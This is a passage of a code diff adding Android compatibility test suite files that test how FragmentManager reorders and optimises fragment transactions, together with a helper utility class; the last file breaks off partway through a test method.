+public class FragmentReorderingTest {
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<FragmentTestActivity>(FragmentTestActivity.class);
+
+    private ViewGroup mContainer;
+    private FragmentManager mFM;
+
+    @Before
+    public void setup() {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        mContainer = (ViewGroup) mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        mFM = mActivityRule.getActivity().getFragmentManager();
+    }
+
+    // Test that when you add and replace a fragment that only the replace's add
+    // actually creates a View.
+    @Test
+    public void addReplace() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction().add(R.id.fragmentContainer, fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction()
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.executePendingTransactions();
+            }
+        });
+        assertEquals(0, fragment1.onCreateViewCount);
+        FragmentTestUtil.assertChildren(mContainer, fragment2);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.popBackStack();
+                mFM.popBackStack();
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer);
+    }
+
+    // Test that it is possible to merge a transaction that starts with pop and adds
+    // the same view back again.
+    @Test
+    public void startWithPop() throws Throwable {
+        // Start with a single fragment on the back stack
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        mFM.beginTransaction().add(R.id.fragmentContainer, fragment1).addToBackStack(null).commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        // Now pop and add
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.popBackStack();
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+        assertEquals(1, fragment1.onCreateViewCount);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        FragmentTestUtil.assertChildren(mContainer);
+        assertEquals(1, fragment1.onCreateViewCount);
+    }
+
+    // Popping the back stack in the middle of other operations doesn't fool it.
+    @Test
+    public void middlePop() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        final CountCallsFragment fragment2 = new CountCallsFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.popBackStack();
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment2)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer, fragment2);
+        assertEquals(0, fragment1.onAttachCount);
+        assertEquals(1, fragment2.onCreateViewCount);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+        FragmentTestUtil.assertChildren(mContainer);
+        assertEquals(1, fragment2.onDetachCount);
+    }
+
+    // ensure that removing a view after adding it is optimized into no
+    // View being created. Hide still gets notified.
+    @Test
+    public void removeRedundantRemove() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        final int[] id = new int[1];
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                id[0] = mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction().hide(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().remove(fragment1).addToBackStack(null).commit();
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer);
+        assertEquals(0, fragment1.onCreateViewCount);
+        assertEquals(1, fragment1.onHideCount);
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(0, fragment1.onDetachCount);
+        assertEquals(1, fragment1.onAttachCount);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, id[0],
+                FragmentManager.POP_BACK_STACK_INCLUSIVE);
+        FragmentTestUtil.assertChildren(mContainer);
+        assertEquals(0, fragment1.onCreateViewCount);
+        assertEquals(1, fragment1.onHideCount);
+        assertEquals(1, fragment1.onShowCount);
+        assertEquals(1, fragment1.onDetachCount);
+        assertEquals(1, fragment1.onAttachCount);
+    }
+
+    // Ensure that removing and adding the same view results in no operation
+    @Test
+    public void removeRedundantAdd() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        int id = mFM.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(1, fragment1.onCreateViewCount);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction()
+                        .remove(fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.executePendingTransactions();
+            }
+        });
+
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+        // should be optimized out
+        assertEquals(1, fragment1.onCreateViewCount);
+
+        mFM.popBackStack(id, 0);
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+        // optimize out going back, too
+        assertEquals(1, fragment1.onCreateViewCount);
+    }
+
+    // detaching, then attaching results in on change. Hide still functions
+    @Test
+    public void removeRedundantAttach() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        int id = mFM.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(1, fragment1.onAttachCount);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction().detach(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().hide(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().attach(fragment1).addToBackStack(null).commit();
+                mFM.executePendingTransactions();
+            }
+        });
+
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+        // can optimize out the detach/attach
+        assertEquals(0, fragment1.onDestroyViewCount);
+        assertEquals(1, fragment1.onHideCount);
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onCreateViewCount);
+        assertEquals(1, fragment1.onAttachCount);
+        assertEquals(0, fragment1.onDetachCount);
+
+        mFM.popBackStack(id, 0);
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        // optimized out again, but not the show
+        assertEquals(0, fragment1.onDestroyViewCount);
+        assertEquals(1, fragment1.onHideCount);
+        assertEquals(1, fragment1.onShowCount);
+        assertEquals(1, fragment1.onCreateViewCount);
+        assertEquals(1, fragment1.onAttachCount);
+        assertEquals(0, fragment1.onDetachCount);
+    }
+
+    // attaching, then detaching shouldn't result in a View being created
+    @Test
+    public void removeRedundantDetach() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        int id = mFM.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .detach(fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        // the add detach is not fully optimized out
+        assertEquals(1, fragment1.onAttachCount);
+        assertEquals(0, fragment1.onDetachCount);
+        assertTrue(fragment1.isDetached());
+        assertEquals(0, fragment1.onCreateViewCount);
+        FragmentTestUtil.assertChildren(mContainer);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction().attach(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().hide(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().detach(fragment1).addToBackStack(null).commit();
+                mFM.executePendingTransactions();
+            }
+        });
+
+        FragmentTestUtil.assertChildren(mContainer);
+        // can optimize out the attach/detach, and the hide call
+        assertEquals(1, fragment1.onAttachCount);
+        assertEquals(0, fragment1.onDetachCount);
+        assertEquals(1, fragment1.onHideCount);
+        assertTrue(fragment1.isHidden());
+        assertEquals(0, fragment1.onShowCount);
+
+        mFM.popBackStack(id, 0);
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(mContainer);
+
+        // we can optimize out the attach/detach on the way back
+        assertEquals(1, fragment1.onAttachCount);
+        assertEquals(0, fragment1.onDetachCount);
+        assertEquals(1, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+        assertFalse(fragment1.isHidden());
+    }
+
+    // show, then hide should optimize out
+    @Test
+    public void removeRedundantHide() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        int id = mFM.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .hide(fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction()
+                        .show(fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction()
+                        .remove(fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction()
+                        .hide(fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.executePendingTransactions();
+            }
+        });
+
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+        // optimize out hide/show
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, id, 0);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        // still optimized out
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction().show(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().hide(fragment1).addToBackStack(null).commit();
+                mFM.executePendingTransactions();
+            }
+        });
+
+        // The show/hide can be optimized out and nothing should change.
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, id, 0);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction().show(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().detach(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().attach(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().hide(fragment1).addToBackStack(null).commit();
+                mFM.executePendingTransactions();
+            }
+        });
+
+        // the detach/attach should not affect the show/hide, so show/hide should cancel each other
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, id, 0);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(1, fragment1.onHideCount);
+    }
+
+    // hiding and showing the same view should optimize out
+    @Test
+    public void removeRedundantShow() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        int id = mFM.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(0, fragment1.onHideCount);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction().hide(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().detach(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().attach(fragment1).addToBackStack(null).commit();
+                mFM.beginTransaction().show(fragment1).addToBackStack(null).commit();
+                mFM.executePendingTransactions();
+            }
+        });
+
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+        // can optimize out the show/hide
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(0, fragment1.onHideCount);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, id,
+                FragmentManager.POP_BACK_STACK_INCLUSIVE);
+        assertEquals(0, fragment1.onShowCount);
+        assertEquals(0, fragment1.onHideCount);
+    }
+
+    // The View order shouldn't be messed up by reordering -- a view that
+    // is optimized to not remove/add should be in its correct position after
+    // the transaction completes.
+    @Test
+    public void viewOrder() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        int id = mFM.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+
+        final CountCallsFragment fragment2 = new CountCallsFragment();
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction()
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer, fragment2, fragment1);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, id, 0);
+        FragmentTestUtil.assertChildren(mContainer, fragment1);
+    }
+
+    // Popping an added transaction results in no operation
+    @Test
+    public void addPopBackStack() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.popBackStack();
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer);
+
+        // Was never instantiated because it was popped before anything could happen
+        assertEquals(0, fragment1.onCreateViewCount);
+    }
+
+    // A non-back-stack transaction doesn't interfere with back stack add/pop
+    // reodering/removing of redundant operations.
+    @Test
+    public void popNonBackStack() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        final CountCallsFragment fragment2 = new CountCallsFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction()
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .commit();
+                mFM.popBackStack();
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer, fragment2);
+
+        // It should be optimized with the replace, so no View creation
+        assertEquals(0, fragment1.onCreateViewCount);
+    }
+
+    // When reordering is disabled, the transaction prior to the disabled reordering
+    // transaction should all be run prior to running the ordered transaction.
+    @Test
+    public void noReordering() throws Throwable {
+        final CountCallsFragment fragment1 = new CountCallsFragment();
+        final CountCallsFragment fragment2 = new CountCallsFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mFM.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .addToBackStack(null)
+                        .commit();
+                mFM.beginTransaction()
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .addToBackStack(null)
+                        .setReorderingAllowed(false)
+                        .commit();
+                mFM.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(mContainer, fragment2);
+
+        // No reordering, so fragment1 should have created its View
+        assertEquals(1, fragment1.onCreateViewCount);
+    }
+
+}
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java b/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
new file mode 100644
index 0000000..62c4906
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.Fragment;
+import android.app.FragmentController;
+import android.app.FragmentManager;
+import android.app.FragmentManagerNonConfig;
+import android.os.Looper;
+import android.os.Parcelable;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Pair;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.accessibility.AccessibilityNodeInfo;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class FragmentTestUtil {
+    public static void waitForExecution(final ActivityTestRule<? extends Activity> rule) {
+        // Wait for two cycles. When starting a postponed transition, it will post to
+        // the UI thread and then the execution will be added onto the queue after that.
+        // The two-cycle wait makes sure fragments have the opportunity to complete both
+        // before returning.
+        try {
+            rule.runOnUiThread(() -> {
+            });
+            rule.runOnUiThread(() -> {
+            });
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+    }
+
+    private static void runOnUiThreadRethrow(ActivityTestRule<? extends Activity> rule,
+            Runnable r) {
+        if (Looper.getMainLooper() == Looper.myLooper()) {
+            r.run();
+        } else {
+            try {
+                rule.runOnUiThread(r);
+            } catch (Throwable t) {
+                throw new RuntimeException(t);
+            }
+        }
+    }
+
+    public static boolean executePendingTransactions(
+            final ActivityTestRule<? extends Activity> rule) {
+        return executePendingTransactions(rule, rule.getActivity().getFragmentManager());
+    }
+
+    public static boolean executePendingTransactions(
+            final ActivityTestRule<? extends Activity> rule, final FragmentManager fm) {
+        final boolean[] ret = new boolean[1];
+        runOnUiThreadRethrow(rule, new Runnable() {
+            @Override
+            public void run() {
+                ret[0] = fm.executePendingTransactions();
+            }
+        });
+        return ret[0];
+    }
+
+    public static boolean popBackStackImmediate(final ActivityTestRule<? extends Activity> rule) {
+        return popBackStackImmediate(rule, rule.getActivity().getFragmentManager());
+    }
+
+    public static boolean popBackStackImmediate(final ActivityTestRule<? extends Activity> rule,
+            final FragmentManager fm) {
+        final boolean[] ret = new boolean[1];
+        runOnUiThreadRethrow(rule, new Runnable() {
+            @Override
+            public void run() {
+                ret[0] = fm.popBackStackImmediate();
+            }
+        });
+        return ret[0];
+    }
+
+    public static boolean popBackStackImmediate(final ActivityTestRule<FragmentTestActivity> rule,
+            final int id, final int flags) {
+        return popBackStackImmediate(rule, rule.getActivity().getFragmentManager(), id, flags);
+    }
+
+    public static boolean popBackStackImmediate(final ActivityTestRule<FragmentTestActivity> rule,
+            final FragmentManager fm, final int id, final int flags) {
+        final boolean[] ret = new boolean[1];
+        runOnUiThreadRethrow(rule, new Runnable() {
+            @Override
+            public void run() {
+                ret[0] = fm.popBackStackImmediate(id, flags);
+            }
+        });
+        return ret[0];
+    }
+
+    public static boolean popBackStackImmediate(final ActivityTestRule<FragmentTestActivity> rule,
+            final String name, final int flags) {
+        return popBackStackImmediate(rule, rule.getActivity().getFragmentManager(), name, flags);
+    }
+
+    public static boolean popBackStackImmediate(final ActivityTestRule<FragmentTestActivity> rule,
+            final FragmentManager fm, final String name, final int flags) {
+        final boolean[] ret = new boolean[1];
+        runOnUiThreadRethrow(rule, new Runnable() {
+            @Override
+            public void run() {
+                ret[0] = fm.popBackStackImmediate(name, flags);
+            }
+        });
+        return ret[0];
+    }
+
+    public static void setContentView(final ActivityTestRule<FragmentTestActivity> rule,
+            final int layoutId) {
+        final Activity activity = rule.getActivity();
+        runOnUiThreadRethrow(rule, new Runnable() {
+            @Override
+            public void run() {
+                activity.setContentView(layoutId);
+            }
+        });
+    }
+
+    public static void assertChildren(ViewGroup container, Fragment... fragments) {
+        final int numFragments = fragments == null ? 0 : fragments.length;
+        assertEquals("There aren't the correct number of fragment Views in its container",
+                numFragments, container.getChildCount());
+        for (int i = 0; i < numFragments; i++) {
+            assertEquals("Wrong Fragment View order for [" + i + "]", container.getChildAt(i),
+                    fragments[i].getView());
+        }
+    }
+
+    public static FragmentController createController(ActivityTestRule<FragmentTestActivity> rule) {
+        final FragmentController[] controller = new FragmentController[1];
+        final FragmentTestActivity activity = rule.getActivity();
+        runOnUiThreadRethrow(rule, () -> {
+            HostCallbacks hostCallbacks = new HostCallbacks(activity, null, 0);
+            controller[0] = FragmentController.createController(hostCallbacks);
+        });
+        return controller[0];
+    }
+
+
+    public static void resume(ActivityTestRule<FragmentTestActivity> rule,
+            FragmentController fragmentController,
+            Pair<Parcelable, FragmentManagerNonConfig> savedState) {
+        runOnUiThreadRethrow(rule, () -> {
+            fragmentController.attachHost(null);
+            if (savedState != null) {
+                fragmentController.restoreAllState(savedState.first, savedState.second);
+            }
+            fragmentController.dispatchCreate();
+            fragmentController.dispatchActivityCreated();
+            fragmentController.noteStateNotSaved();
+            fragmentController.execPendingActions();
+            fragmentController.dispatchStart();
+            fragmentController.reportLoaderStart();
+            fragmentController.dispatchResume();
+            fragmentController.execPendingActions();
+        });
+    }
+
+    public static Pair<Parcelable, FragmentManagerNonConfig> destroy(
+            ActivityTestRule<FragmentTestActivity> rule, FragmentController fragmentController) {
+        final Pair<Parcelable, FragmentManagerNonConfig>[] result = new Pair[1];
+        runOnUiThreadRethrow(rule, () -> {
+            fragmentController.dispatchPause();
+            final Parcelable savedState = fragmentController.saveAllState();
+            final FragmentManagerNonConfig nonConfig = fragmentController.retainNestedNonConfig();
+            fragmentController.dispatchStop();
+            fragmentController.doLoaderStop(false);
+            fragmentController.dispatchDestroy();
+            fragmentController.doLoaderDestroy();
+            result[0] = Pair.create(savedState, nonConfig);
+        });
+        return result[0];
+    }
+
+    public static boolean isVisible(Fragment fragment) {
+        View view = fragment.getView();
+        AccessibilityNodeInfo accessibilityNodeInfo = view.createAccessibilityNodeInfo();
+        boolean isVisible = accessibilityNodeInfo.isVisibleToUser();
+        accessibilityNodeInfo.recycle();
+        return isVisible;
+    }
+
+    /**
+     * Allocates until a garbage collection occurs.
+     */
+    public static void forceGC() {
+        // This works on ART:
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+    }
+
+    /**
+     * Restarts the RecreatedActivity and waits for the new activity to be resumed.
+     *
+     * @return The newly-restarted Activity
+     */
+    public static <T extends RecreatedActivity> T recreateActivity(
+            ActivityTestRule<? extends Activity> rule, T activity) throws InterruptedException {
+        // Now switch the orientation
+        RecreatedActivity.sResumed = new CountDownLatch(1);
+        RecreatedActivity.sDestroyed = new CountDownLatch(1);
+
+        runOnUiThreadRethrow(rule, () -> {
+            activity.recreate();
+        });
+        assertTrue(RecreatedActivity.sResumed.await(1, TimeUnit.SECONDS));
+        assertTrue(RecreatedActivity.sDestroyed.await(1, TimeUnit.SECONDS));
+        T newActivity = (T) RecreatedActivity.sActivity;
+
+        waitForExecution(rule);
+
+        RecreatedActivity.clearState();
+        return newActivity;
+    }
+}
+
+
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java b/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
new file mode 100644
index 0000000..2a532d7
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
@@ -0,0 +1,488 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.fragment.cts;
+
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertTrue;
+
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+
+import android.app.Activity;
+import android.app.Fragment;
+import android.app.FragmentManager;
+import android.app.FragmentTransaction;
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collection;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests usage of the {@link FragmentTransaction} class.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FragmentTransactionTest {
+
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<>(FragmentTestActivity.class);
+
+    private FragmentTestActivity mActivity;
+    private int mOnBackStackChangedTimes;
+    private FragmentManager.OnBackStackChangedListener mOnBackStackChangedListener;
+
+    @Before
+    public void setUp() {
+        mActivity = mActivityRule.getActivity();
+        mOnBackStackChangedTimes = 0;
+        mOnBackStackChangedListener = new FragmentManager.OnBackStackChangedListener() {
+            @Override
+            public void onBackStackChanged() {
+                mOnBackStackChangedTimes++;
+            }
+        };
+        mActivity.getFragmentManager().addOnBackStackChangedListener(mOnBackStackChangedListener);
+    }
+
+    @After
+    public void tearDown() {
+        mActivity.getFragmentManager()
+                .removeOnBackStackChangedListener(mOnBackStackChangedListener);
+        mOnBackStackChangedListener = null;
+    }
+
+    @Test
+    public void testAddTransactionWithValidFragment() throws Throwable {
+        final Fragment fragment = new CorrectFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mActivity.getFragmentManager().beginTransaction()
+                        .add(android.R.id.content, fragment)
+                        .addToBackStack(null)
+                        .commit();
+                mActivity.getFragmentManager().executePendingTransactions();
+                assertEquals(1, mOnBackStackChangedTimes);
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        assertTrue(fragment.isAdded());
+    }
+
+    @Test
+    public void testAddTransactionWithPrivateFragment() throws Throwable {
+        final Fragment fragment = new PrivateFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(android.R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                    assertEquals(1, mOnBackStackChangedTimes);
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    @Test
+    public void testAddTransactionWithPackagePrivateFragment() throws Throwable {
+        final Fragment fragment = new PackagePrivateFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(android.R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                    assertEquals(1, mOnBackStackChangedTimes);
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    @Test
+    public void testAddTransactionWithAnonymousFragment() throws Throwable {
+        final Fragment fragment = new Fragment() {};
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                boolean exceptionThrown = false;
+                try {
+                    mActivity.getFragmentManager().beginTransaction()
+                            .add(android.R.id.content, fragment)
+                            .addToBackStack(null)
+                            .commit();
+                    mActivity.getFragmentManager().executePendingTransactions();
+                    assertEquals(1, mOnBackStackChangedTimes);
+                } catch (IllegalStateException e) {
+                    exceptionThrown = true;
+                } finally {
+                    assertTrue("Exception should be thrown", exceptionThrown);
+                    assertFalse("Fragment shouldn't be added", fragment.isAdded());
+                }
+            }
+        });
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+    }
+
+    @Test
+    public void testAddTransactionWithNonStaticFragment() throws Throwable {
+        final Fragment fragment = new NonStaticFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
